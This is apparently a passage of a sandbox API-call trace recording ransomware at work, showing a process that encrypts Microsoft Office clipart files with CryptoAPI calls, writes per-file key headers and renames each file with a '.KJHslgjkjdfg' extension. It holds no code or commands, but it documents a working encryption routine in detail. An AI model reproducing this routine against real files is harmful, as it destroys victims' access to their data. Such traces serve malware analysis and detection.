1 [0187.802] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.802] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7ce0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x7ce0, lpOverlapped=0x0) returned 1 [0187.803] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7ce0, dwBufLen=0x7ce0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7ce0) returned 1 [0187.803] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.803] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7ce0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x7ce0, lpOverlapped=0x0) returned 1 [0187.803] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.803] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7db4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.803] SetEndOfFile (hFile=0x114) returned 1 [0187.806] GetProcessHeap () returned 0x2a0000 [0187.807] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0187.807] GetProcessHeap () returned 0x2a0000 [0187.807] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0187.807] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01236U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01236u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01236U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01236u.bmp.kjhslgjkjdfg")) returned 1 [0187.808] CloseHandle (hObject=0x114) returned 1 [0187.809] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1764, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH01239K.JPG", cAlternateFileName="")) returned 1 [0187.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01239K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01239k.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0187.814] GetProcessHeap () returned 0x2a0000 [0187.814] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0187.814] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0187.814] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0187.814] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0187.818] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.818] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.818] GetProcessHeap () returned 0x2a0000 [0187.818] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0187.818] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0187.818] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.818] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0187.818] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0187.818] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0187.819] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0187.819] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0187.819] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0187.819] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.819] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.819] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.819] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1764, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1764, lpOverlapped=0x0) returned 1 [0187.828] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1770, dwBufLen=0x1770 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1770) returned 1 [0187.828] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.828] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1770, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1770, lpOverlapped=0x0) returned 1 [0187.828] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.828] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1844, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.828] SetEndOfFile (hFile=0x114) returned 1 [0187.831] GetProcessHeap () returned 0x2a0000 [0187.831] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0187.831] GetProcessHeap () returned 0x2a0000 [0187.831] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0187.831] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01239K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01239k.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01239K.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01239k.jpg.kjhslgjkjdfg")) returned 1 [0187.840] CloseHandle (hObject=0x114) returned 1 [0187.840] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbeb51600, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbeb51600, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7c08, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH01247U.BMP", cAlternateFileName="")) returned 1 [0187.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01247U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01247u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0187.841] GetProcessHeap () returned 0x2a0000 [0187.841] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0187.841] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0187.841] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0187.841] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0187.844] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.844] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.844] GetProcessHeap () returned 0x2a0000 [0187.844] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0187.844] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0187.844] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.844] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0187.844] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0187.844] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0187.844] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0187.844] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0187.844] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0187.845] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.845] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.845] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.845] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7c08, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x7c08, lpOverlapped=0x0) returned 1 [0187.846] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7c10, dwBufLen=0x7c10 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7c10) returned 1 [0187.846] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.846] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7c10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x7c10, lpOverlapped=0x0) returned 1 [0187.846] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.846] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7ce4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.846] SetEndOfFile (hFile=0x114) returned 1 [0187.849] GetProcessHeap () returned 0x2a0000 [0187.849] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0187.849] GetProcessHeap () returned 0x2a0000 [0187.849] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0187.849] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01247U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01247u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01247U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01247u.bmp.kjhslgjkjdfg")) returned 1 [0187.852] CloseHandle (hObject=0x114) returned 1 [0187.852] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72230800, ftCreationTime.dwHighDateTime=0x1bd4e5f, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x72230800, ftLastWriteTime.dwHighDateTime=0x1bd4e5f, nFileSizeHigh=0x0, nFileSizeLow=0x1e55, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH01255G.GIF", cAlternateFileName="")) returned 1 [0187.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01255G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01255g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0187.853] GetProcessHeap () returned 0x2a0000 [0187.853] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0187.853] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0187.853] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0187.853] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xb, lpOverlapped=0x0) returned 1 [0187.859] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.859] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.859] GetProcessHeap () returned 0x2a0000 [0187.859] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0187.859] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0187.859] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.859] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0187.859] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0187.860] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0187.860] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0187.860] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0187.860] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0187.860] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.860] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.860] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.860] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1e55, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1e55, lpOverlapped=0x0) returned 1 [0187.868] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1e60, dwBufLen=0x1e60 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1e60) returned 1 [0187.868] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.868] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1e60, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1e60, lpOverlapped=0x0) returned 1 [0187.868] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.868] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1f34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.868] SetEndOfFile (hFile=0x114) returned 1 [0187.871] GetProcessHeap () returned 0x2a0000 [0187.871] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0187.871] GetProcessHeap () returned 0x2a0000 [0187.871] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0187.871] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01255G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01255g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01255G.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01255g.gif.kjhslgjkjdfg")) returned 1 [0187.873] CloseHandle (hObject=0x114) returned 1 [0187.873] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d799000, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d799000, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x7c08, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH01265U.BMP", cAlternateFileName="")) returned 1 [0187.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01265U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01265u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0187.874] GetProcessHeap () returned 0x2a0000 [0187.874] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0187.875] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0187.875] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0187.875] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0187.878] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.878] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.878] GetProcessHeap () returned 0x2a0000 [0187.878] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0187.878] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0187.878] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.878] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0187.878] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0187.878] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0187.879] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0187.879] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0187.879] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0187.879] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.879] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.879] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.879] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7c08, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x7c08, lpOverlapped=0x0) returned 1 [0187.880] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7c10, dwBufLen=0x7c10 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7c10) returned 1 [0187.880] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.880] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7c10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x7c10, lpOverlapped=0x0) returned 1 [0187.881] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.881] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7ce4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.881] SetEndOfFile (hFile=0x114) returned 1 [0187.885] GetProcessHeap () returned 0x2a0000 [0187.885] HeapFree (in: 